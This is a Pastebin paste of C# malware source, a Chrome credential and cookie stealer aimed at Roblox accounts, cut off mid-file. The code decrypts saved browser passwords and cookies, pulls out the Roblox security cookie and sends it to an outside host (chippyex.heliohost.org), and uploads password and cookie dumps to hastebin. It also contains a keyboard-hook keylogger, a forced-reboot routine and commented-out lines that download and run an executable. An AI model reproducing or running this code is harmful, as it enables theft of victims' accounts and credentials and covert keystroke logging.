Advertisement
Guest User

Untitled

a guest
Mar 20th, 2018
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 38.36 KB | None | 0 0
  1. using System;
  2. using System.IO;
  3. using System.Text;
  4. using System.Collections.Generic;
  5. using System.Runtime.InteropServices;
  6. using Microsoft.VisualBasic.CompilerServices;
  7. using System.Diagnostics;
  8. using System.Windows.Forms;
  9. using Microsoft.VisualBasic;
  10. using System.Net;
  11.  
  12. namespace ConsoleApplication2
  13. {
  14. class Program
  15. {
  16. static string tempFolderPath = Path.GetTempPath();
  17. static void Main(string[] args)
  18. {
  19. using (var client = new WebClient())
  20. {
  21. //trollclient.DownloadFile("http://chippyex.heliohost.org/TheTrollface.exe", "troll.exe");
  22. }
  23. //troll1Process.Start("troll.exe");
  24. string domain = "https://v3rmillion.net/";
  25. //v3r1if (File.ReadAllText(passwordFileN).Contains(domain))
  26. //v3r2{
  27. //v3r3Application.Exit();
  28. //v3r4}
  29. string domain1 = "https://hackforums.net/";
  30. //h1if (File.ReadAllText(passwordFileN).Contains(domain1))
  31. //h2{
  32. //h3Application.Exit();
  33. //h4}
  34. //CCursor.Hide();
  35. //SWASwapMouseButton(1);
  36. //System.Diagnostics.Process.Start('WEBSITEHERE');
  37. //cmdProcess.Start("cmd.exe");
  38. string robloxcookie;
  39. List<GoogleChrome.PasswordData> passes = GoogleChrome.Recover();
  40. using (var outputFile1 = new StreamWriter(tempFolderPath + "passes.txt"))
  41. foreach (var pass in passes)
  42. {
  43. outputFile1.WriteLine("Host: " + pass.Host);
  44. outputFile1.WriteLine("User: " + pass.User);
  45. outputFile1.WriteLine("Password: " + pass.Password);
  46. outputFile1.WriteLine(Environment.NewLine);
  47.  
  48. }
  49. List<GoogleChrome.CookiesData> cookies = GoogleChrome.Recovercookies();
  50. using (var outputFile = new StreamWriter(tempFolderPath + "cookies.txt"))
  51. foreach (var cookie in cookies)
  52. {
  53. outputFile.WriteLine("Host: " + cookie.Host1);
  54. outputFile.WriteLine("Cookie: " + cookie.cookie);
  55. outputFile.WriteLine("Name: " + cookie.name);
  56. outputFile.WriteLine(Environment.NewLine);
  57. }
  58.  
  59. string path = tempFolderPath +"cookies.txt";
  60. string text2 = File.ReadAllText(path);
  61. string result = text2;
  62. int indexOfFirstPhrase = text2.IndexOf("_|WARNING:-DO-NOT-SHARE-THIS");
  63. if (indexOfFirstPhrase >= 0)
  64. {
  65. indexOfFirstPhrase += "_|WARNING:-DO-NOT-SHARE-THIS".Length;
  66. int indexOfSecondPhrase = text2.IndexOf("Name:", indexOfFirstPhrase);
  67. if (indexOfSecondPhrase >= 0)
  68. result = text2.Substring(indexOfFirstPhrase, indexOfSecondPhrase - indexOfFirstPhrase);
  69. else
  70. result = text2.Substring(indexOfFirstPhrase);
  71. }
  72. robloxcookie = "_|WARNING:-DO-NOT-SHARE-THIS" + result;
  73. getIP();
  74. using (WebClient webClient = new WebClient())
  75. {
  76. webClient.Proxy = null;
  77. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  78. webClient.DownloadString("http://chippyex.heliohost.org/Users/HWIDHERE/upload.php?data=" + robloxcookie);
  79.  
  80. //2webClient.DownloadString("http://chippyex.heliohost.org/Users/HWIDHERE/cookies.php?data=" + getcookies());
  81.  
  82. //lolRestart();
  83. //shutProcess.Start("shutdown","/s /t 0");
  84.  
  85.  
  86. }
  87. using (WebClient webClient1 = new WebClient())
  88. {
  89. webClient1.Proxy = null;
  90. webClient1.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  91. //1webClient1.DownloadString("http://chippyex.heliohost.org/Users/HWIDHERE/send.php?data=" + getPasswords() + "$" +
  92.  
  93. //lolRestart();
  94. //shutProcess.Start("shutdown","/s /t 0");
  95.  
  96.  
  97. }
  98. }
  99. private static void Restart()
  100. {
  101. ProcessStartInfo proc = new ProcessStartInfo();
  102. proc.WindowStyle = ProcessWindowStyle.Hidden;
  103. proc.FileName = "cmd";
  104. proc.Arguments = "/C shutdown -f -r -t 0";
  105. Process.Start(proc);
  106. }
  107.  
  108.  
  109. private static string pashastebin;
  110. private static string chastebin;
  111. private static string res;
  112. private static string cf = tempFolderPath + "cookies.txt";
  113. private static string pf = tempFolderPath + "passes.txt";
  114. public static string getPasswords()
  115. {
  116. if (File.Exists(pf))
  117. {
  118. using (var sr = new StreamReader(pf))
  119. {
  120. var line = sr.ReadToEnd();
  121. using (WebClient webClient = new WebClient())
  122. {
  123. webClient.Proxy = null;
  124. webClient.Headers.Add("content-type", "text/plain");
  125. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  126. res = webClient.UploadString("https://hastebin.com/documents", "POST", line);
  127. return pashastebin = "https://hastebin.com/" + res.Replace("\"key\":\"", "").Replace("\"}", "").Replace(" ", "").Replace("{", "");
  128. }
  129. }
  130. }
  131. else
  132. {
  133. return "No passwords";
  134. }
  135. }
  136. public static string getcookies()
  137. {
  138. if (File.Exists(cf))
  139. {
  140. using (var sr = new StreamReader(cf))
  141. {
  142. var line = sr.ReadToEnd();
  143. using (WebClient webClient = new WebClient())
  144. {
  145. webClient.Proxy = null;
  146. webClient.Headers.Add("content-type", "text/plain");
  147. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  148. res = webClient.UploadString("https://hastebin.com/documents", "POST", line);
  149. return chastebin = "https://hastebin.com/" + res.Replace("\"key\":\"", "").Replace("\"}", "").Replace(" ", "").Replace("{", "");
  150. }
  151. }
  152. }
  153. else
  154. {
  155. return "No passwords";
  156. }
  157. }
  158.  
  159.  
  160. private static string ipAddress;
  161. public static string getIP()
  162. {
  163. using (WebClient webClient = new WebClient())
  164. {
  165. webClient.Proxy = null;
  166. webClient.Encoding = Encoding.UTF8;
  167. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  168. ipAddress = webClient.DownloadString("https://www.chippyex.heliohost.org/Users/getip.php");
  169. return ipAddress;
  170. }
  171. }
  172. }
  173. }
  174.  
  175.  
  176. public class GoogleChrome
  177. {
  178. private const int WH_KEYBOARD_LL = 13;
  179. private const int WM_KEYDOWN = 0x0100;
  180. private static LowLevelKeyboardProc _proc = HookCallback;
  181. private static IntPtr _hookID = IntPtr.Zero;
  182. public static List<PasswordData> Recover()
  183. {
  184.  
  185. string datapath = String.Format("{0}\\Google\\Chrome\\User Data\\Default\\Login Data",
  186. Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
  187. List<PasswordData> data = new List<PasswordData>();
  188. SQLiteHandler SQLDatabase = null;
  189.  
  190. try
  191. {
  192. SQLDatabase = new SQLiteHandler(datapath);
  193. SQLDatabase.ReadTable("logins");
  194. }
  195. catch (Exception)
  196. {
  197. //Handle exception
  198. return data;
  199. }
  200.  
  201. if (File.Exists(datapath))
  202. {
  203. string host;
  204. string user;
  205. string pass;
  206. for (var i = 0; i <= SQLDatabase.GetRowCount() - 1; i++)
  207. try
  208. {
  209. host = SQLDatabase.GetValue(i, "origin_url");
  210. user = SQLDatabase.GetValue(i, "username_value");
  211. pass = Decrypt(Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")));
  212.  
  213. if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && pass != null)
  214. {
  215. data.Add(new PasswordData
  216. {
  217. Host = host,
  218. User = user,
  219. Password = pass
  220. });
  221. }
  222. }
  223. catch
  224. {
  225.  
  226. }
  227.  
  228.  
  229. }
  230.  
  231. return data;
  232. }
  233.  
  234. public static List<CookiesData> Recovercookies()
  235. {
  236.  
  237. string datapath1 = String.Format("{0}\\Google\\Chrome\\User Data\\Default\\Cookies",
  238. Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
  239. List<CookiesData> data1 = new List<CookiesData>();
  240. SQLiteHandler SQLDatabase1 = null;
  241.  
  242. try
  243. {
  244. SQLDatabase1 = new SQLiteHandler(datapath1);
  245. SQLDatabase1.ReadTable("cookies");
  246. }
  247. catch (Exception)
  248. {
  249. //Handle exception
  250. return data1;
  251. }
  252.  
  253. if (File.Exists(datapath1))
  254. {
  255. string host1;
  256. string name1;
  257. string cookie;
  258. for (var i = 0; i <= SQLDatabase1.GetRowCount() - 1; i++)
  259. try
  260. {
  261. host1 = SQLDatabase1.GetValue(i, "host_key");
  262. name1 = SQLDatabase1.GetValue(i, "name");
  263. cookie = Decrypt(Encoding.Default.GetBytes(SQLDatabase1.GetValue(i, "encrypted_value")));
  264.  
  265. if (!String.IsNullOrEmpty(host1) && !String.IsNullOrEmpty(name1) && cookie != null)
  266. {
  267. data1.Add(new CookiesData
  268. {
  269. Host1 = host1,
  270. name = name1,
  271. cookie = cookie
  272. });
  273. }
  274. }
  275. catch
  276. {
  277.  
  278. }
  279.  
  280.  
  281. }
  282.  
  283. return data1;
  284. }
  285.  
  286. public class PasswordData
  287. {
  288. public string Host { get; set; }
  289. public string User { get; set; }
  290. public string Password { get; set; }
  291. }
  292. public class CookiesData
  293. {
  294. public string Host1 { get; set; }
  295. public string name { get; set; }
  296. public string cookie { get; set; }
  297. }
  298. [DllImport("Crypt32.dll", SetLastError = true, CharSet = CharSet.Auto)]
  299. private static extern bool CryptUnprotectData(
  300. ref DATA_BLOB pDataIn,
  301. string szDataDescr,
  302. ref DATA_BLOB pOptionalEntropy,
  303. IntPtr pvReserved,
  304. ref CRYPTPROTECT_PROMPTSTRUCT pPromptStruct,
  305. int dwFlags,
  306. ref DATA_BLOB pDataOut);
  307.  
  308. private static string Decrypt(byte[] Datas)
  309. {
  310. var inj = new DATA_BLOB();
  311. var Ors = new DATA_BLOB();
  312. var Ghandle = GCHandle.Alloc(Datas, GCHandleType.Pinned);
  313. inj.pbData = Ghandle.AddrOfPinnedObject();
  314. inj.cbData = Datas.Length;
  315. Ghandle.Free();
  316. var entropy = new DATA_BLOB();
  317. var crypto = new CRYPTPROTECT_PROMPTSTRUCT();
  318. CryptUnprotectData(ref inj, null, ref entropy, IntPtr.Zero, ref crypto, 0, ref Ors);
  319. var Returned = new byte[Ors.cbData + 1];
  320. Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData);
  321. var TheString = Encoding.UTF8.GetString(Returned);
  322. return TheString.Substring(0, TheString.Length - 1);
  323. }
  324.  
  325. [Flags]
  326. private enum CryptProtectPromptFlags
  327. {
  328. CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1,
  329. CRYPTPROTECT_PROMPT_ON_PROTECT = 2
  330. }
  331.  
  332. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
  333. private struct CRYPTPROTECT_PROMPTSTRUCT
  334. {
  335. public readonly int cbSize;
  336. public readonly CryptProtectPromptFlags dwPromptFlags;
  337. public readonly IntPtr hwndApp;
  338. public readonly string szPrompt;
  339. }
  340.  
  341. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
  342. private struct DATA_BLOB
  343. {
  344. public int cbData;
  345. public IntPtr pbData;
  346. }
  347.  
  348. private static IntPtr SetHook(LowLevelKeyboardProc proc)
  349. {
  350. using (Process curProcess = Process.GetCurrentProcess())
  351. using (ProcessModule curModule = curProcess.MainModule)
  352. {
  353. return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  354. GetModuleHandle(curModule.ModuleName), 0);
  355. }
  356. }
  357.  
  358. private delegate IntPtr LowLevelKeyboardProc(
  359. int nCode, IntPtr wParam, IntPtr lParam);
  360.  
  361. private static IntPtr HookCallback(
  362. int nCode, IntPtr wParam, IntPtr lParam)
  363. {
  364. if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  365. {
  366. int vkCode = Marshal.ReadInt32(lParam);
  367. Console.WriteLine((Keys)vkCode);
  368. StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
  369. sw.Write((Keys)vkCode);
  370. sw.Close();
  371. }
  372. return CallNextHookEx(_hookID, nCode, wParam, lParam);
  373. }
  374.  
  375. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  376. private static extern IntPtr SetWindowsHookEx(int idHook,
  377. LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  378.  
  379. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  380. [return: MarshalAs(UnmanagedType.Bool)]
  381. private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  382.  
  383. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  384. private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  385. IntPtr wParam, IntPtr lParam);
  386.  
  387. [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  388. private static extern IntPtr GetModuleHandle(string lpModuleName);
  389.  
  390. [DllImport("kernel32.dll")]
  391. static extern IntPtr GetConsoleWindow();
  392.  
  393. [DllImport("user32.dll")]
  394. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  395.  
  396. const int SW_HIDE = 0;
  397. public class SQLiteHandler
  398. {
  399. private readonly byte[] db_bytes;
  400. private readonly ulong encoding;
  401. private string[] field_names;
  402. private sqlite_master_entry[] master_table_entries;
  403. private readonly ushort page_size;
  404. private readonly byte[] SQLDataTypeSize = { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
  405. private table_entry[] table_entries;
  406.  
  407. public SQLiteHandler(string baseName)
  408. {
  409. if (File.Exists(baseName))
  410. {
  411. FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
  412. var str = Strings.Space((int)FileSystem.LOF(1));
  413. FileSystem.FileGet(1, ref str, -1L, false);
  414. FileSystem.FileClose(1);
  415. db_bytes = Encoding.Default.GetBytes(str);
  416. if (Encoding.Default.GetString(db_bytes, 0, 15).CompareTo("SQLite format 3") != 0)
  417. throw new Exception("Not a valid SQLite 3 Database File");
  418. if (db_bytes[0x34] != 0)
  419. throw new Exception("Auto-vacuum capable database is not supported");
  420. //if (decimal.Compare(new decimal(this.ConvertToInteger(0x2c, 4)), 4M) >= 0)
  421. //{
  422. // throw new Exception("No supported Schema layer file-format");
  423. //}
  424. page_size = (ushort)ConvertToInteger(0x10, 2);
  425. encoding = ConvertToInteger(0x38, 4);
  426. if (decimal.Compare(new decimal(encoding), decimal.Zero) == 0)
  427. encoding = 1L;
  428. ReadMasterTable(100L);
  429. }
  430. }
  431.  
  432. private ulong ConvertToInteger(int startIndex, int Size)
  433. {
  434. if ((Size > 8) | (Size == 0))
  435. return 0L;
  436. ulong num2 = 0L;
  437. var num4 = Size - 1;
  438. for (var i = 0; i <= num4; i++)
  439. num2 = (num2 << 8) | db_bytes[startIndex + i];
  440. return num2;
  441. }
  442.  
  443. private long CVL(int startIndex, int endIndex)
  444. {
  445. endIndex++;
  446. var buffer = new byte[8];
  447. var num4 = endIndex - startIndex;
  448. var flag = false;
  449. if ((num4 == 0) | (num4 > 9))
  450. return 0L;
  451. if (num4 == 1)
  452. {
  453. buffer[0] = (byte)(db_bytes[startIndex] & 0x7f);
  454. return BitConverter.ToInt64(buffer, 0);
  455. }
  456. if (num4 == 9)
  457. flag = true;
  458. var num2 = 1;
  459. var num3 = 7;
  460. var index = 0;
  461. if (flag)
  462. {
  463. buffer[0] = db_bytes[endIndex - 1];
  464. endIndex--;
  465. index = 1;
  466. }
  467. var num7 = startIndex;
  468. for (var i = endIndex - 1; i >= num7; i += -1)
  469. if (i - 1 >= startIndex)
  470. {
  471. buffer[index] = (byte)(((byte)(db_bytes[i] >> ((num2 - 1) & 7)) & (0xff >> num2)) |
  472. (byte)(db_bytes[i - 1] << (num3 & 7)));
  473. num2++;
  474. index++;
  475. num3--;
  476. }
  477. else if (!flag)
  478. {
  479. buffer[index] = (byte)((byte)(db_bytes[i] >> ((num2 - 1) & 7)) & (0xff >> num2));
  480. }
  481. return BitConverter.ToInt64(buffer, 0);
  482. }
  483.  
  484. public int GetRowCount()
  485. {
  486. return table_entries.Length;
  487. }
  488.  
  489. public string[] GetTableNames()
  490. {
  491. string[] strArray2 = null;
  492. var index = 0;
  493. var num3 = master_table_entries.Length - 1;
  494. for (var i = 0; i <= num3; i++)
  495. if (master_table_entries[i].item_type == "table")
  496. {
  497. strArray2 = (string[])Utils.CopyArray(strArray2, new string[index + 1]);
  498. strArray2[index] = master_table_entries[i].item_name;
  499. index++;
  500. }
  501. return strArray2;
  502. }
  503.  
  504. public string GetValue(int row_num, int field)
  505. {
  506. if (row_num >= table_entries.Length)
  507. return null;
  508. if (field >= table_entries[row_num].content.Length)
  509. return null;
  510. return table_entries[row_num].content[field];
  511. }
  512.  
  513. public string GetValue(int row_num, string field)
  514. {
  515. var num = -1;
  516. var length = field_names.Length - 1;
  517. for (var i = 0; i <= length; i++)
  518. if (field_names[i].ToLower().CompareTo(field.ToLower()) == 0)
  519. {
  520. num = i;
  521. break;
  522. }
  523. if (num == -1)
  524. return null;
  525. return GetValue(row_num, num);
  526. }
  527.  
  528. private int GVL(int startIndex)
  529. {
  530. if (startIndex > db_bytes.Length)
  531. return 0;
  532. var num3 = startIndex + 8;
  533. for (var i = startIndex; i <= num3; i++)
  534. {
  535. if (i > db_bytes.Length - 1)
  536. return 0;
  537. if ((db_bytes[i] & 0x80) != 0x80)
  538. return i;
  539. }
  540. return startIndex + 8;
  541. }
  542.  
  543. private bool IsOdd(long value)
  544. {
  545. return (value & 1L) == 1L;
  546. }
  547.  
  548. private void ReadMasterTable(ulong Offset)
  549. {
  550. if (db_bytes[(int)Offset] == 13)
  551. {
  552. var num2 = Convert.ToUInt16(
  553. decimal.Subtract(
  554. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  555. decimal.One));
  556. var length = 0;
  557. if (master_table_entries != null)
  558. {
  559. length = master_table_entries.Length;
  560. master_table_entries = (sqlite_master_entry[])Utils.CopyArray(master_table_entries,
  561. new sqlite_master_entry[master_table_entries.Length + num2 + 1]);
  562. }
  563. else
  564. {
  565. master_table_entries = new sqlite_master_entry[num2 + 1];
  566. }
  567. int num13 = num2;
  568. for (var i = 0; i <= num13; i++)
  569. {
  570. var num = ConvertToInteger(
  571. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2);
  572. if (decimal.Compare(new decimal(Offset), 100M) != 0)
  573. num += Offset;
  574. var endIndex = GVL((int)num);
  575. var num7 = CVL((int)num, endIndex);
  576. var num6 = GVL(Convert.ToInt32(
  577. decimal.Add(
  578. decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))),
  579. decimal.One)));
  580. master_table_entries[length + i].row_id =
  581. CVL(
  582. Convert.ToInt32(decimal.Add(
  583. decimal.Add(new decimal(num),
  584. decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num6);
  585. num = Convert.ToUInt64(decimal.Add(
  586. decimal.Add(new decimal(num), decimal.Subtract(new decimal(num6), new decimal(num))),
  587. decimal.One));
  588. endIndex = GVL((int)num);
  589. num6 = endIndex;
  590. var num5 = CVL((int)num, endIndex);
  591. var numArray = new long[5];
  592. var index = 0;
  593. do
  594. {
  595. endIndex = num6 + 1;
  596. num6 = GVL(endIndex);
  597. numArray[index] = CVL(endIndex, num6);
  598. if (numArray[index] > 9L)
  599. if (IsOdd(numArray[index]))
  600. numArray[index] = (long)Math.Round((numArray[index] - 13L) / 2.0);
  601. else
  602. numArray[index] = (long)Math.Round((numArray[index] - 12L) / 2.0);
  603. else
  604. numArray[index] = SQLDataTypeSize[(int)numArray[index]];
  605. index++;
  606. } while (index <= 4);
  607. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  608. master_table_entries[length + i].item_type = Encoding.Default.GetString(db_bytes,
  609. Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
  610. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  611. master_table_entries[length + i].item_type = Encoding.Unicode.GetString(db_bytes,
  612. Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
  613. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  614. master_table_entries[length + i].item_type = Encoding.BigEndianUnicode.GetString(db_bytes,
  615. Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
  616. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  617. master_table_entries[length + i].item_name = Encoding.Default.GetString(db_bytes,
  618. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  619. new decimal(numArray[0]))), (int)numArray[1]);
  620. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  621. master_table_entries[length + i].item_name = Encoding.Unicode.GetString(db_bytes,
  622. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  623. new decimal(numArray[0]))), (int)numArray[1]);
  624. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  625. master_table_entries[length + i].item_name = Encoding.BigEndianUnicode.GetString(db_bytes,
  626. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  627. new decimal(numArray[0]))), (int)numArray[1]);
  628. master_table_entries[length + i].root_num =
  629. (long)ConvertToInteger(
  630. Convert.ToInt32(decimal.Add(
  631. decimal.Add(
  632. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  633. new decimal(numArray[0])), new decimal(numArray[1])),
  634. new decimal(numArray[2]))), (int)numArray[3]);
  635. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  636. master_table_entries[length + i].sql_statement = Encoding.Default.GetString(db_bytes,
  637. Convert.ToInt32(decimal.Add(
  638. decimal.Add(
  639. decimal.Add(
  640. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  641. new decimal(numArray[0])), new decimal(numArray[1])),
  642. new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
  643. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  644. master_table_entries[length + i].sql_statement = Encoding.Unicode.GetString(db_bytes,
  645. Convert.ToInt32(decimal.Add(
  646. decimal.Add(
  647. decimal.Add(
  648. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  649. new decimal(numArray[0])), new decimal(numArray[1])),
  650. new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
  651. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  652. master_table_entries[length + i].sql_statement = Encoding.BigEndianUnicode.GetString(db_bytes,
  653. Convert.ToInt32(decimal.Add(
  654. decimal.Add(
  655. decimal.Add(
  656. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  657. new decimal(numArray[0])), new decimal(numArray[1])),
  658. new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
  659. }
  660. }
  661. else if (db_bytes[(int)Offset] == 5)
  662. {
  663. var num11 = Convert.ToUInt16(
  664. decimal.Subtract(
  665. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  666. decimal.One));
  667. int num14 = num11;
  668. for (var j = 0; j <= num14; j++)
  669. {
  670. var startIndex =
  671. (ushort)ConvertToInteger(
  672. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(j * 2))), 2);
  673. if (decimal.Compare(new decimal(Offset), 100M) == 0)
  674. ReadMasterTable(Convert.ToUInt64(
  675. decimal.Multiply(
  676. decimal.Subtract(new decimal(ConvertToInteger(startIndex, 4)), decimal.One),
  677. new decimal(page_size))));
  678. else
  679. ReadMasterTable(Convert.ToUInt64(
  680. decimal.Multiply(
  681. decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + startIndex), 4)),
  682. decimal.One), new decimal(page_size))));
  683. }
  684. ReadMasterTable(Convert.ToUInt64(
  685. decimal.Multiply(
  686. decimal.Subtract(
  687. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)),
  688. decimal.One), new decimal(page_size))));
  689. }
  690. }
  691.  
  692. public bool ReadTable(string TableName)
  693. {
  694. var index = -1;
  695. var length = master_table_entries.Length - 1;
  696. for (var i = 0; i <= length; i++)
  697. if (master_table_entries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)
  698. {
  699. index = i;
  700. break;
  701. }
  702. if (index == -1)
  703. return false;
  704. var strArray = master_table_entries[index].sql_statement
  705. .Substring(master_table_entries[index].sql_statement.IndexOf("(") + 1).Split(',');
  706. var num6 = strArray.Length - 1;
  707. for (var j = 0; j <= num6; j++)
  708. {
  709. strArray[j] = strArray[j].TrimStart();
  710. var num4 = strArray[j].IndexOf(" ");
  711. if (num4 > 0)
  712. strArray[j] = strArray[j].Substring(0, num4);
  713. if (strArray[j].IndexOf("UNIQUE") == 0)
  714. break;
  715. field_names = (string[])Utils.CopyArray(field_names, new string[j + 1]);
  716. field_names[j] = strArray[j];
  717. }
  718. return ReadTableFromOffset((ulong)((master_table_entries[index].root_num - 1L) * page_size));
  719. }
  720.  
  721. private bool ReadTableFromOffset(ulong Offset)
  722. {
  723. if (db_bytes[(int)Offset] == 13)
  724. {
  725. var num2 = Convert.ToInt32(decimal.Subtract(
  726. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  727. decimal.One));
  728. var length = 0;
  729. if (table_entries != null)
  730. {
  731. length = table_entries.Length;
  732. table_entries =
  733. (table_entry[])Utils.CopyArray(table_entries,
  734. new table_entry[table_entries.Length + num2 + 1]);
  735. }
  736. else
  737. {
  738. table_entries = new table_entry[num2 + 1];
  739. }
  740. var num16 = num2;
  741. for (var i = 0; i <= num16; i++)
  742. {
  743. record_header_field[] _fieldArray = null;
  744. var num = ConvertToInteger(
  745. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2);
  746. if (decimal.Compare(new decimal(Offset), 100M) != 0)
  747. num += Offset;
  748. var endIndex = GVL((int)num);
  749. var num9 = CVL((int)num, endIndex);
  750. var num8 = GVL(Convert.ToInt32(
  751. decimal.Add(
  752. decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))),
  753. decimal.One)));
  754. table_entries[length + i].row_id =
  755. CVL(
  756. Convert.ToInt32(decimal.Add(
  757. decimal.Add(new decimal(num),
  758. decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num8);
  759. num = Convert.ToUInt64(decimal.Add(
  760. decimal.Add(new decimal(num), decimal.Subtract(new decimal(num8), new decimal(num))),
  761. decimal.One));
  762. endIndex = GVL((int)num);
  763. num8 = endIndex;
  764. var num7 = CVL((int)num, endIndex);
  765. var num10 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num), new decimal(endIndex)),
  766. decimal.One));
  767. for (var j = 0; num10 < num7; j++)
  768. {
  769. _fieldArray =
  770. (record_header_field[])Utils.CopyArray(_fieldArray, new record_header_field[j + 1]);
  771. endIndex = num8 + 1;
  772. num8 = GVL(endIndex);
  773. _fieldArray[j].type = CVL(endIndex, num8);
  774. if (_fieldArray[j].type > 9L)
  775. if (IsOdd(_fieldArray[j].type))
  776. _fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 13L) / 2.0);
  777. else
  778. _fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 12L) / 2.0);
  779. else
  780. _fieldArray[j].size = SQLDataTypeSize[(int)_fieldArray[j].type];
  781. num10 = num10 + (num8 - endIndex) + 1L;
  782. }
  783. table_entries[length + i].content = new string[_fieldArray.Length - 1 + 1];
  784. var num4 = 0;
  785. var num17 = _fieldArray.Length - 1;
  786. for (var k = 0; k <= num17; k++)
  787. {
  788. if (_fieldArray[k].type > 9L)
  789. if (!IsOdd(_fieldArray[k].type))
  790. {
  791. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  792. table_entries[length + i].content[k] = Encoding.Default.GetString(db_bytes,
  793. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  794. new decimal(num4))), (int)_fieldArray[k].size);
  795. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  796. table_entries[length + i].content[k] = Encoding.Unicode.GetString(db_bytes,
  797. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  798. new decimal(num4))), (int)_fieldArray[k].size);
  799. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  800. table_entries[length + i].content[k] = Encoding.BigEndianUnicode.GetString(db_bytes,
  801. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  802. new decimal(num4))), (int)_fieldArray[k].size);
  803. }
  804. else
  805. {
  806. table_entries[length + i].content[k] = Encoding.Default.GetString(db_bytes,
  807. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  808. new decimal(num4))), (int)_fieldArray[k].size);
  809. }
  810. else
  811. table_entries[length + i].content[k] =
  812. Conversions.ToString(
  813. ConvertToInteger(
  814. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  815. new decimal(num4))), (int)_fieldArray[k].size));
  816. num4 += (int)_fieldArray[k].size;
  817. }
  818. }
  819. }
  820. else if (db_bytes[(int)Offset] == 5)
